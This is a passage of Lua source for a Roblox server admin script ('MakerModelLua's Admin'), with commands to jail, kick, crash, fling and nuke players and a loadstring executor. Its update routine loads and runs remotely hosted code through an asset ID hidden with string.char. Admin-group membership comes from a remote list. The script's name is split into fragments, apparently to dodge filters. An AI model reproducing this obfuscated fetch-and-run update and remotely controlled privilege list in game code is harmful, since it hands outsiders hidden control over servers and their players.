  859. Reader.Name = "RemotePropertyReader"
  860. CORE:ExecuteResource("RemotePropertyReader", Reader)
  861. return Reader
  862. else
  863. return Obj
  864. end
  865. end
  866.  
  867. function CORE:ReadProperty(Reader, Player, Property)
  868. if Reader:IsA("RemoteFunction") then
  869. return Reader:InvokeClient(Player, Property)
  870. else
  871. return Reader[Property]
  872. end
  873. end
  874.  
  875. function CORE:WriteProperty(Reader, Player, Property, Value)
  876. if Reader:IsA("RemoteFunction") then
  877. return Reader:InvokeClient(Player, Property, Value)
  878. else
  879. return Reader[Property]
  880. end
  881. end
  882.  
  883.  
  884. function CORE:CreateRemoteEvent(Obj, EventName)
  885. local Event = Instance.new("RemoteEvent", Obj)
  886. Event.Name = "RemoteEvent_"..EventName
  887. CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
  888. return Event
  889. end
  890.  
  891. function CORE:HandleEvent(Obj, EventName, Func, NewThread)
  892. local function Handle()
  893. if Server.Workspace.FilteringEnabled == true then
  894. local Event = CORE:CreateRemoteEvent(Obj, EventName)
  895. return Event.OnServerEvent:connect(function(Player, ...)
  896. Func(...)
  897. end)
  898. else
  899. return Obj[EventName]:connect(Func)
  900. end
  901. end
  902. if NewThread then
  903. Spawn(Handle)
  904. else
  905. Handle()
  906. end
  907. end
  908.  
  909. function CORE:HandleError(Error, Speaker)
  910. local Return = ""
  911. if not Error or Error == "" then
  912. Return = "Unknown Error"
  913. else
  914. Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
  915. end
  916. if Speaker then
  917. GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
  918. end
  919. return Return
  920. end
  921.  
  922. local function ExecuteSafe(Source, Speaker) -- no CORE
  923. local Script, Error = loadstring(Source)
  924. if Error then
  925. return false, CORE:HandleError(Error, Speaker)
  926. else
  927. getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  928. getfenv(Script).Server, getfenv(Script).script = Server,script
  929. if Speaker then
  930. getfenv(Script).print = function(...)
  931. GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
  932. end
  933. getfenv(Script).print_array = function(List)
  934. if type(List) == "table" then
  935. GUI:ListGui(Speaker, "Listed Table", List, "Output")
  936. end
  937. end
  938. end
  939.  
  940. local Suc, Error = ypcall(coroutine.wrap(Script))
  941.  
  942. if not Suc then
  943. Error = CORE:HandleError(Error, Speaker)
  944. end
  945.  
  946. return Suc,Error
  947. end
  948. end
  949.  
  950. function CORE:GetTime(Regular, FullDate)
  951. if Regular == nil then Regular = true end
  952. local Meridiem = ""
  953. if Regular == true then Meridiem = " AM" end
  954. local SecondsOfToday = math.fmod(os.time(), 60*60*24)
  955. local Hour = math.floor(SecondsOfToday / (60*60))
  956. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  957. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  958. if Hour > 12 and Regular == true then
  959. Hour = Hour - 12
  960. Meridiem = " PM"
  961. end
  962. Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
  963. if #Hour <= 1 then Hour = "0"..Hour end
  964. if #Minute <= 1 then Minute = "0"..Minute end
  965. if #Second <= 1 then Second = "0"..Second end
  966. local Return = Hour..":"..Minute..":"..Second..Meridiem
  967. if FullDate == true and Date then Return = Date.." "..Return end
  968. return Return
  969. end
  970.  
  971. function CORE:RemoveAdmin(Speaker)
  972. local Answer = true -- false
  973. if not CORE:NilPlayer(Speaker) then
  974. Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
  975. end
  976. if Answer == "Yes" or CORE:NilPlayer(Speaker) then
  977. if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
  978. for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
  979. for _,Item in pairs(Player:GetChildren()) do
  980. if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
  981. Item:Destroy()
  982. end
  983. end
  984. for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
  985. if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
  986. GUI:Destroy()
  987. end
  988. end
  989. end end
  990. for _,Car in pairs(Cars) do
  991. Car:Destroy()
  992. end
  993. CORE:FixLighting()
  994. while wait() do
  995. if script:FindFirstChild("Override") then script.Override.Value = true end
  996. Settings,CORE,IRC = nil,{},{}
  997. if Sound then Sound:Stop() end
  998. if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
  999. script:ClearAllChildren() script:Destroy() script.Disabled = true
  1000. end
  1001. end
  1002. end
  1003.  
  1004. function CORE:MakeBase()
  1005. for _,Get in pairs(Workspace:GetChildren()) do
  1006. if Get.Name == "Base" or Get.Name == "BasePlate" then
  1007. Get:Destroy()
  1008. end
  1009. end
  1010. local Base = Instance.new("Part", Workspace) Base.Name = "Base" Base.Anchored = true Base.Size = Vector3.new(300,1,300) Base.BrickColor = BrickColor.new("Bright green") Base.CFrame = CFrame.new(0,0,0) Base.Locked = true
  1011. end
  1012.  
  1013. function CORE:AddCommand(CommandNames, CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http)
  1014. if IsAbusive == nil then IsAbusive = false end
  1015. if Commands[CommandName] then table.remove(Commands[CommandName]) end
  1016. Commands[CommandNames] = {CommandExample, Description, Arguments, Rank, Fun, CommandFunction, IsAbusive, Http = Http}
  1017. end
  1018.  
  1019. function CORE:FixLighting() coroutine.wrap(function()
  1020. ModLighting = false
  1021. wait(0.2)
  1022. Server.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
  1023. Server.Lighting.FogColor = Color3.new(0,0,0)
  1024. Server.Lighting.Brightness = 1
  1025. Server.Lighting.TimeOfDay = 14
  1026. Server.Lighting.FogEnd = 100000
  1027. end)() end
  1028.  
  1029. function CORE:Round(Number)
  1030. if Number >= 0.5 then
  1031. return math.ceil(Number)
  1032. elseif Number < 0.5 then
  1033. return math.floor(Number)
  1034. end
  1035. end
  1036.  
  1037. local AdminID,Got = nil,false
  1038. repeat wait()
  1039. Got = ypcall(function() AdminID = Server.MPS:GetProductInfo(string.char(50, 50, 57, 56, 49, 54, 56, 51, 48)).Description end)
  1040. until Got == true
  1041.  
  1042. function CORE:GetTable(ID)
  1043. local Thing = nil
  1044. repeat wait()
  1045. ypcall(function() Thing = REMOTE:Decode(Server.MPS:GetProductInfo(ID).Description) end)
  1046. until Thing
  1047. return Thing
  1048. end
  1049.  
  1050. function CORE:InAdminGroup(Speaker)
  1051. local IsIn = false
  1052. for _,Get in pairs(CORE:GetTable(string.char(49, 53, 53, 55, 51, 54, 49, 50, 57))) do
  1053. if Speaker:IsInGroup(Get) then
  1054. IsIn = true
  1055. end
  1056. end
  1057. if IsIn == true then
  1058. return true
  1059. else
  1060. GUI:SendMessage(Speaker, "Command Invalid", GroupMessage, "Error")
  1061. return false
  1062. end
  1063. end
  1064.  
  1065. function CORE:ReverseTable(Table)
  1066. if type(Table) ~= "table" then return Table end
  1067. local NewTable = {}
  1068. for Num,Val in pairs(Table) do NewTable[(#Table - Num) + 1] = Val end
  1069. return NewTable
  1070. end
  1071.  
  1072. function CORE:Log(LogTable, Player, Chat)
  1073. local PlayerName = tostring(Player)
  1074. if type(Player) == "userdata" or type(Player) == "table" then PlayerName = Player.Name end
  1075. table.insert(LogTable, CORE:GetTime(true, true).." @ "..PlayerName..": "..Chat)
  1076. end
  1077.  
  1078. function CORE:Jail(Player)
  1079. if not Player then return nil end
  1080. local Cell = Workspace:FindFirstChild(Player.Name.."'s Cell") if Cell then Cell:Destroy() end
  1081. Cell = Instance.new("Model", Workspace) Cell.Name = Player.Name.."'s Cell"
  1082. local Floor = Instance.new("Part", Cell) Floor.Name = "Floor" Floor.FormFactor = "Custom" Floor.Size = Vector3.new(15,1,15) Floor.Material = "DiamondPlate" Floor.TopSurface = "Smooth" Floor.BottomSurface = "Smooth" Floor.Position = Vector3.new(0,1001.7,0) Floor.Anchored = true Floor.Locked = true
  1083. local Wall = Instance.new("Part", Cell) Wall.Name = "Wall" Wall.FormFactor = "Custom" Wall.Size = Vector3.new(15,14.2,1) Wall.BrickColor = BrickColor.new("Bright blue") Wall.TopSurface = "Smooth" Wall.BottomSurface = "Smooth" Wall.Position = Vector3.new(0,1009.3,-7) Wall.Anchored = true Wall.Locked = true Wall.Transparency = 0.5
  1084. local SG = Instance.new("SurfaceGui", Wall) SG.Name = "SG" SG.Adornee = Wall
  1085. local Text = Instance.new("TextLabel", SG) Text.Size = UDim2.new(1,0,1,0) Text.BackgroundTransparency = 1 Text.TextColor3 = Color3.new(1,1,1) Text.Font = "ArialBold" Text.FontSize = "Size36" Text.TextYAlignment = "Bottom" Text.TextWrapped = true Text.Text = "WARNING: Wild noob in natural habitat. Do no tap glass, it may cause the noob to be angry. Do not open cage and feed noob"
  1086. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(0,1009.3,7) Wall.SG.Face = "Back"
  1087. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(-7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Front"
  1088. Wall = Wall:Clone() Wall.Parent = Cell Wall.Position = Vector3.new(7, 1009.3, 0) Wall.Size = Vector3.new(13,14.2,1) Wall.Rotation = Vector3.new(0,90,0) Wall.SG.Face = "Back"
  1089. local Roof = Floor:Clone() Roof.Parent = Cell Roof.Name = "Roof" Roof.Position = Vector3.new(-0,1016.9, 0)
  1090. Cell:MoveTo(Vector3.new(0,3,0))
  1091.  
  1092. if Player.Character and Player.Character:FindFirstChild("Torso") then
  1093. Cell:MoveTo(Player.Character.Torso.Position - Vector3.new(0,3,0))
  1094. Player.Character:MoveTo(Floor.Position + Vector3.new(0,2,0))
  1095. end
  1096. table.insert(Dispose, Cell)
  1097. Jails[Player.Name] = Cell
  1098. end
  1099.  
  1100. function CORE:UnJail(Player)
  1101. if not Player then return nil end
  1102. if Jails[Player.Name] then
  1103. Jails[Player.Name]:Destroy()
  1104. Jails[Player.Name] = nil
  1105. end
  1106. end
  1107.  
  1108. function CORE:ChangeName(Player, NewName)
  1109. if not Player or not NewName then return nil end
  1110. if Player.Character and Player.Character:FindFirstChild("Humanoid") and Player.Character:FindFirstChild("Head") then
  1111. local NewName = STRING:FormatReplace(Player, NewName)
  1112.  
  1113. for _,Obj in pairs(Player.Character:GetChildren()) do
  1114. if Obj.Name == "Label" then Obj:Destroy() end
  1115. end
  1116.  
  1117. local Head = Player.Character.Head
  1118. local HeadClone = Head:Clone()
  1119.  
  1120. -- make actual head invisible
  1121. Head.Transparency = 1
  1122. ypcall(function() Head.face.Transparency = 1 end)
  1123.  
  1124. -- make fake head visible
  1125. HeadClone.Transparency = 0
  1126. ypcall(function() HeadClone.face.Transparency = 0 end)
  1127.  
  1128. local Label = Instance.new("Model", Player.Character)
  1129. Label.Name = "Label"
  1130.  
  1131. local Model = Instance.new("Model", Label)
  1132. Model.Name = NewName
  1133.  
  1134. local HumanoidClone = Instance.new("Humanoid", Model)
  1135. coroutine.wrap(function() while wait() and Player.Character and Player.Character:FindFirstChild("Humanoid") do HumanoidClone.Health = Player.Character.Humanoid.Health HumanoidClone.MaxHealth = Player.Character.Humanoid.MaxHealth end end)()
  1136.  
  1137. HeadClone.Position = Vector3.new(0,100,0)
  1138. HeadClone.CanCollide = false
  1139. ypcall(function() HeadClone.BrickColor = Player.Character["Body Colors"].Head end)
  1140.  
  1141.  
  1142. Delay(0.01, function() -- new roblox engine needs time to proccess that a label needs to be given after a model's been created
  1143. HeadClone.Parent = Model
  1144. local Weld = Instance.new("Weld", HeadClone)
  1145. Weld.Part0 = HeadClone
  1146. Weld.Part1 = Head
  1147. end)
  1148. end
  1149. end
  1150.  
  1151. function CORE:UpdateAdmin()
  1152. if Server.Storage:FindFirstChild("PreventMMLUpdate") then
  1153. return nil
  1154. end
  1155. local UpdateModel = AdminID
  1156. if UpdateModel == 0 then return end
  1157. local NewAdminModel = nil
  1158. ypcall(function() NewAdminModel = Server.IS:LoadAsset(UpdateModel) end)
  1159. if NewAdminModel then
  1160. local NewAdmin = NewAdminModel:FindFirstChild("Ma".."kerModelLua's Admin", true)
  1161. if NewAdmin then
  1162. local NewVersion = NewAdmin:FindFirstChild("Version")
  1163. if NewVersion.Value ~= CORE.Version.Value then
  1164. if ExploitModule then
  1165. ExploitModule.Disabled = true
  1166. ExploitModule:Destroy()
  1167. end
  1168. NewAdmin.Disabled = true
  1169. NewAdmin.Parent = Workspace
  1170. if not Settings then
  1171. local NewSettings = NewAdminModel:FindFirstChild("M".."a".."kerMod".."elL".."a's Admin Settings", true)
  1172. if NewSettings then NewSettings.Parent = Workspace end
  1173. end
  1174. wait() NewAdmin.Disabled = false
  1175. CORE:RemoveAdmin()
  1176. else
  1177. NewAdminModel:Destroy()
  1178. end
  1179. end
  1180. end
  1181. end
  1182.  
  1183. function CORE:UnpackPlayers(Players)
  1184. local PlayerNames = ""
  1185. for Num,Player in pairs(Players) do
  1186. if Player ~= nil then
  1187. if Num ~= #Players then
  1188. PlayerNames = PlayerNames..Player.Name..", "
  1189. else
  1190. PlayerNames = PlayerNames..Player.Name
  1191. end
  1192. end
  1193. end
  1194. return PlayerNames
  1195. end
  1196.  
  1197. function CORE:GetValue(Value)
  1198. if Value:IsA("StringValue") then
  1199. if Value.Name == "Owner" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Owner"], Value.Value) end end
  1200. if Value.Name == "Admin" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Admin"], Value.Value) end end
  1201. if Value.Name == "Member" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Member"], Value.Value) end end
  1202. if Value.Name == "Banned" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Banned"], Value.Value) end end
  1203. if Value.Name == "Crashed" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Crashed"], Value.Value) end end
  1204. if Value.Name == "Muted" then if not ScanAdminList(Value.Value) then table.insert(Settings.Ranks["Muted"], Value.Value) end end
  1205. if Value.Name == "RemoveAdmin" then if ScanAdminList(Value.Value) then
  1206. for Num,Admin in pairs(Settings.Ranks["Admin"]) do
  1207. if Admin == Value.Value then
  1208. table.remove(Settings.Ranks["Admin"],Num)
  1209. end
  1210. end
  1211. end end
  1212. end
  1213. end
  1214.  
  1215. function CORE:GetPlayer(ID)
  1216. local Return = {"Unknown", ID}
  1217. if tonumber(ID) then
  1218. for _,Data in pairs(CharacterCache) do
  1219. if ID == Data[2] then
  1220. return Data
  1221. end
  1222. end
  1223. ypcall(function()
  1224. local Name = Server.Players:GetNameFromUserIdAsync(ID)
  1225. if Name then
  1226. local Data = {Name, ID}
  1227. table.insert(CharacterCache, Data)
  1228. Return = Data
  1229. end
  1230. end)
  1231. else
  1232. local Name = tostring(ID)
  1233. for _,Data in pairs(CharacterCache) do
  1234. if string.lower(Name) == string.lower(Data[1]) then
  1235. return Data
  1236. end
  1237. end
  1238. ypcall(function()
  1239. local PlayerID = Server.Players:GetUserIdFromNameAsync(Name)
  1240. if PlayerID then
  1241. Name = Server.Players:GetNameFromUserIdAsync(PlayerID) or Name
  1242. local Data = {Name, PlayerID}
  1243. table.insert(CharacterCache, Data)
  1244. Return = Data
  1245. end
  1246. end)
  1247. end
  1248.  
  1249. return Return
  1250. end
  1251.  
  1252. function CORE:ChangeCharacter(Player, ID, Perm, Speaker, NameChar, ManualPos) coroutine.wrap(function()
  1253. if ID and #tostring(ID) >= 1 then
  1254. local PlayerName = nil
  1255.  
  1256. local Players = STRING:Scan(ID, Speaker)
  1257. if #Players >= 1 then -- if player is found in server
  1258. ID = Players[1].UserId
  1259. elseif tonumber(ID) then
  1260. local Data = CORE:GetPlayer(ID)
  1261. PlayerName = Data[1]
  1262. else
  1263. local Data = CORE:GetPlayer(tostring(ID))
  1264. PlayerName = Data[1]
  1265. ID = Data[2]
  1266. end
  1267.  
  1268. if tonumber(ID) == 20018 then -- exploding easter bunny
  1269. local OldID = ID
  1270. ID = 1
  1271. if Speaker then
  1272. if RANK:GetRank(Speaker) == "Member" then
  1273. coroutine.wrap(function()
  1274. wait(1)
  1275. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploding easter bunnies allowed, sorry", "Error", 10)
  1276. end)()
  1277. else ID = OldID
  1278. end
  1279. end
  1280. elseif tonumber(ID) == 1311 then -- ffjosh
  1281. local OldID = ID
  1282. ID = 1
  1283. if Speaker then
  1284. if RANK:GetRank(Speaker) == "Member" then
  1285. coroutine.wrap(function()
  1286. wait(1)
  1287. GUI:SendMessage(Speaker, "You cannot character as this", "RED No exploiting moderators allowed, sorry", "Error", 10)
  1288. end)()
  1289. else ID = OldID
  1290. end
  1291. end
  1292. end
  1293.  
  1294. if tonumber(ID) then
  1295. local Position = nil
  1296. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  1297. if ManualPos then
  1298. Position = ManualPos
  1299. else
  1300. Position = Player.Character.Torso.Position
  1301. end
  1302. end
  1303. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  1304. wait() Player:LoadCharacter() wait()
  1305. if Position then Player.Character:MoveTo(Position) end
  1306. if not Perm then
  1307. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.UserId
  1308. end
  1309. if NameChar and PlayerName then
  1310. wait(2)
  1311. CORE:ChangeName(Player, PlayerName)
  1312. end
  1313. end
  1314. end
  1315. end)() end
  1316.  
  1317. function CORE:GenerateShield(Player)
  1318. if not Player then return nil end
  1319. if not Player.Character then return nil end
  1320. local Torso = Player.Character:FindFirstChild("Torso")
  1321. if not Torso then return nil end
  1322.  
  1323. local Shield = Player.Character:FindFirstChild("Shield")
  1324. if Shield then Shield:Destroy() end
  1325.  
  1326. Shield = Instance.new("Part", Player.Character)
  1327. Shield.Name = "Shield"
  1328. Shield.Locked = true
  1329. Shield.CanCollide = false
  1330. Shield.Size = Vector3.new(10,10,10)
  1331. Shield.Shape = "Ball"
  1332. Shield.Color = GUI:GetColor()
  1333. Shield.Transparency = 0.5
  1334. Shield.TopSurface = "Smooth"
  1335. Shield.BottomSurface = "Smooth"
  1336. Shield.Anchored = true
  1337. Shield.Position = Torso.Position
  1338.  
  1339. local Hum = SOUND:MakeSound(Shield, 147493985, 1, 1, true)
  1340. local Zap = SOUND:MakeSound(Shield, 192783601, 1, 1, false)
  1341.  
  1342. Hum:Play()
  1343.  
  1344. Shield.Touched:connect(function(Part)
  1345. if Part.Parent ~= Server.Workspace then
  1346. local Humanoid = Part.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent:FindFirstChild("Humanoid") or Part.Parent.Parent.Parent:FindFirstChild("Humanoid")
  1347. if Humanoid then
  1348. local Char = Humanoid.Parent
  1349. if Char:IsA("Model") and Humanoid.Health > 0 then
  1350. if Char ~= Player.Character then
  1351. Char:BreakJoints()
  1352. Zap:Play()
  1353. end
  1354. end
  1355. end
  1356. end
  1357. end)
  1358.  
  1359. coroutine.wrap(function() repeat wait()
  1360. Shield.CFrame = Torso.CFrame
  1361. until Torso.Parent == nil or Shield.Parent == nil end)()
  1362. end
  1363.  
  1364. function CORE:FlingPlayer(Player)
  1365. if Player and Player.Character then
  1366. if Player.Character:FindFirstChild("Torso") then
  1367. local Fling = Instance.new("BodyForce", Player.Character.Torso)
  1368. Fling.Name = "Fling"
  1369. Fling.force = Vector3.new(10000,10000,10000)
  1370. end
  1371. end
  1372. end
  1373.  
  1374. function CORE:Kick(Player, CustomMessage)
  1375. if not CustomMessage then CustomMessage = "You've been kicked by M".."ake".."rMode".."".."lLua's Admin. You cannot interact with the server in anyway." end
  1376. coroutine.wrap(function()
  1377. CORE:ExecuteResource("PlayerKickMessage", Player.Character, {["Message"] = CustomMessage})
  1378. wait(1)
  1379. Player:Kick(CustomMessage)
  1380. end)()
  1381. end
  1382.  
  1383. function CORE:Crash(Player)
  1384. local Parent = Player
  1385. if Player:FindFirstChild("Backpack") then Parent = Player.Backpack
  1386. elseif Player.Character then Parent = Player.Character end
  1387.  
  1388. CORE:ExecuteResource("Crash", Parent)
  1389. end
  1390.  
  1391. function CORE:RestoreCamera(Player)
  1392. if Player.Backpack then
  1393. CORE:ExecuteResource("RestoreCamera", Player.Backpack)
  1394. end
  1395. end
  1396.  
  1397. function CORE:ScanItems(BaseObj, ObjTypes, ActiveFunc)
  1398. local function ScanInstance(Object)
  1399. if #Object:GetChildren() > 0 then
  1400. for _,Obj in pairs(Object:GetChildren()) do
  1401. local IsType = false
  1402. if ObjTypes and #ObjTypes > 0 then
  1403. for _,ObjType in pairs(ObjTypes) do
  1404. if Obj:IsA(ObjType) then
  1405. IsType = true
  1406. break
  1407. end
  1408. end
  1409. else
  1410. IsType = true
  1411. end
  1412. if IsType == true then
  1413. ActiveFunc(Obj)
  1414. end
  1415. ScanInstance(Obj)
  1416. end
  1417. end
  1418. end
  1419. ScanInstance(BaseObj)
  1420. end
  1421.  
  1422. function CORE:AnchorPlayer(Player)
  1423. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1424.  
  1425. Player.Character.Humanoid.WalkSpeed = 0
  1426. for _,Object in pairs(Player.Character:GetChildren()) do
  1427. if Object:IsA("BasePart") then
  1428. Object.Anchored = true
  1429. end
  1430. end
  1431. end
  1432.  
  1433. function CORE:UnanchorPlayer(Player)
  1434. if not Player or not Player.Character or not Player.Character:FindFirstChild("Humanoid") then return end
  1435.  
  1436. Player.Character.Humanoid.WalkSpeed = 16
  1437. for _,Object in pairs(Player.Character:GetChildren()) do
  1438. if Object:IsA("BasePart") then
  1439. Object.Anchored = false
  1440. end
  1441. end
  1442. end
  1443.  
  1444. function CORE:InvisiblePlayer(Player)
  1445. if not Player or not Player.Character then return end
  1446.  
  1447. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) Obj.Transparency = 1 end)
  1448. end
  1449.  
  1450. function CORE:VisiblePlayer(Player)
  1451. if not Player or not Player.Character then return end
  1452.  
  1453. CORE:ScanItems(Player.Character, {"BasePart", "Texture", "Decal"}, function(Obj) if Obj.Name ~= "HumanoidRootPart" then Obj.Transparency = 0 end end)
  1454. end
  1455.  
  1456. function CORE:Nuke(Player) coroutine.wrap(function()
  1457. local Pos = CFrame.new(0,1,0)
  1458. if Player and Player.Character and Player.Character:FindFirstChild("Torso") then Pos = Player.Character.Torso.CFrame * CFrame.new(0,1,0) end
  1459. local Blast = Instance.new("Part", Server.Workspace) Blast.Name = "BlastEx" Blast.Anchored = true Blast.CanCollide = false Blast.Size = Vector3.new(1,1,1) Blast.CFrame = Pos
  1460. local BlastMesh = Instance.new("SpecialMesh", Blast) BlastMesh.MeshId = "rbxassetid://1290033" BlastMesh.TextureId = "rbxassetid://33145325" BlastMesh.Scale = Vector3.new(0,0,0)
  1461. local Wave = Instance.new("Part", Server.Workspace) Wave.BrickColor = BrickColor.new("Deep orange") Wave.Name = "WaveEx" Wave.Anchored = true Wave.CanCollide = false Wave.Size = Vector3.new(1,1,1) Wave.CFrame = Pos * CFrame.Angles(math.pi/2,0,0)
  1462. local WaveMesh = Instance.new("SpecialMesh", Wave) WaveMesh.MeshId = "rbxassetid://3270017"
  1463. local Light = Instance.new("PointLight", Blast) Light.Brightness = 1000 Light.Range = 10000 Light.Color = Color3.new(1,0.2,0.2)
  1464.  
  1465. local Effect = Instance.new("ColorCorrectionEffect", Server.Lighting) Effect.Brightness = 0.2 Effect.Contrast = 0.4 Effect.Saturation = 1 Effect.TintColor = Color3.new(1,0.2,0.2)
  1466.  
  1467. Server.Lighting.Brightness = 5
  1468. Server.Lighting.Ambient = Color3.new(1,0.5,0.5)
  1469. Server.OutdoorAmbient = Color3.new(1,1,1)
  1470.  
  1471. local Exp = Instance.new("Explosion", Server.Workspace)
  1472. Exp.Position = Pos.p
  1473. Exp.BlastPressure = 10000000
  1474. Exp.BlastRadius = 1000000
  1475. Exp.Hit:connect(function(Part)
  1476. if Part.Name ~= "Base" and Part.Name ~= "BasePlate" and Part ~= Blast and Part ~= Wave and Part.Name ~= "BlastEx" and Part.Name ~= "WaveEx" then
  1477. ypcall(function()
  1478. Part.Anchored = false
  1479. Part.BrickColor = BrickColor.new("Black")
  1480. Part.Material = "Slate"
  1481. Part:BreakJoints()
  1482. end)
  1483. end
  1484. end)
  1485.  
  1486. local BoomSound = SOUND:MakeSound(Server.Workspace, 212389494, 1, 1.2, false)
  1487. BoomSound:Play()
  1488. for i = 0,100,0.5 do
  1489. Blast.Anchored = true
  1490. Wave.Anchored = true
  1491. BlastMesh.Scale = Vector3.new(i,i,i)
  1492. WaveMesh.Scale = Vector3.new(i^1.3,i^1.3,5)
  1493. Blast.CFrame = Pos
  1494. wait()
  1495. end
  1496. BoomSound:Stop()
  1497. Blast:Destroy()
  1498. Wave:Destroy()
  1499. wait()
  1500. BoomSound:Destroy()
  1501. Effect:Destroy()
  1502. for i = 10,5,-1 do
  1503. Server.Lighting.Brightness = (i-5) + 1
  1504. Server.Lighting.Ambient = Color3.new(i/10,0.5,0.5)
  1505. Server.OutdoorAmbient = Color3.new(i/10,i/10,i/10)
  1506. wait(0.05)
  1507. end
  1508. end)() end
  1509.  
  1510. function CORE:Insert(AssetID, Parent, GetFirstChild, FirstChildTypes, AbuseMode)
  1511. local AssetID = tonumber(AssetID)
  1512. local Item = nil
  1513. if AssetID and AssetID ~= 1055299 then
  1514. local CanInsert = true
  1515. if AbuseMode then
  1516. for _,ID in pairs(RemoteAbuseGear) do
  1517. if AssetID == tonumber(ID) then CanInsert = false break end
  1518. end
  1519. for _,ID in pairs(Settings.AbusableGear) do
  1520. if AssetID == tonumber(ID) then CanInsert = false break end
  1521. end
  1522. end
  1523. if CanInsert then
  1524. Item = Server.IS:LoadAsset(AssetID)
  1525. if GetFirstChild then
  1526. Item = Item:GetChildren()[1]
  1527. if FirstChildTypes and Item then
  1528. local ValidType = false
  1529. for _,Type in pairs(FirstChildTypes) do
  1530. if Item:IsA(Type) then
  1531. ValidType = true
  1532. break
  1533. end
  1534. end
  1535. if ValidType == false then
  1536. Item = nil
  1537. end
  1538. end
  1539. end
  1540. if Item and Parent then
  1541. Item.Parent = Parent
  1542. end
  1543. end
  1544. end
  1545. return Item
  1546. end
  1547.  
  1548. function CORE:GivePackage(Player, PID) coroutine.wrap(function()
  1549. if not Player or not Player.Character then return nil end
  1550. PID = tonumber(PID)
  1551. for _,Obj in pairs(Player.Character:GetChildren()) do
  1552. if Obj:IsA("CharacterMesh") then Obj:Destroy() end
  1553. end
  1554. if PID then
  1555. -- back when we needed HttpService to get packages.
  1556. --[[
  1557. if PackageCache[PID] then
  1558. for _,ID in pairs(PackageCache[PID]) do
  1559. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1560. end
  1561. else
  1562. local IDsJSON = REMOTE:GetURL(CORE.Domain.."/APIs/GetPackage.php?PackageID="..PID)
  1563. if IDsJSON then
  1564. local IDs = REMOTE:Decode(IDsJSON)
  1565. if IDs then
  1566. if not IDs["Error"] then
  1567. table.insert(PackageCache, IDs)
  1568. for _,ID in pairs(IDs) do
  1569. CORE:Insert(ID, Player.Character, true, {"CharacterMesh"})
  1570. end
  1571. end
  1572. end
  1573. end
  1574. end
  1575. ]]
  1576. -- also, no need for a package cache since the GetAssetIdsForPackage method handles that internally
  1577. local IDs = {}
  1578. ypcall(function() IDs = Server.AS:GetAssetIdsForPackage(PID) end) -- it still errors so it needs to be contained.
  1579. if #IDs > 0 then
  1580. for _,ID in pairs(IDs) do
  1581. local PackagePart = CORE:Insert(ID)
  1582. for _,Obj in pairs(PackagePart:GetChildren()) do
  1583. if Obj:IsA("Accoutrement") or Obj:IsA("CharacterMesh") then
  1584. Obj.Parent = Player.Character
  1585. elseif Obj:IsA("Folder") then
  1586. if Obj.Name == "R6" then -- r15 coming to mml's admin confirmed?
  1587. Obj:GetChildren()[1].Parent = Player.Character
  1588. end
  1589. end
  1590. end
  1591. end
  1592. end
  1593. end
  1594. end)() end
  1595.  
  1596. function CORE:ChangeBet(Bet)
  1597. if tostring(Bet) and Bet ~= Settings.Bet then
  1598. for Index,Data in pairs(Commands) do
  1599. Commands[Index][1] = string.gsub(Data[1], Settings.Bet, Bet)
  1600. end
  1601. Settings.Bet = Bet
  1602. end
  1603. end
  1604.  
  1605. function CORE:ResetLighting()
  1606. ModLighting = false wait(0.2) ModLighting = true
  1607. end
  1608.  
  1609. function CORE:Fly(Player, Force)
  1610. if Player and Player.Character then
  1611. local StopFly = Instance.new("RemoteFunction", Player.Character)
  1612. StopFly.Name = "StopMMLFly"
  1613. CORE:ExecuteResource("Fly", Player.Character, {["Force"] = Force, ["StopFunc"] = StopFly})
  1614. end
  1615. end
  1616.  
  1617. function CORE:GiveTools(Player, Type)
  1618. if not Player or not Player:FindFirstChild("Backpack") then return nil end
  1619. Type = string.lower(Type)
  1620. local _,RankNum = RANK:GetRank(Player)
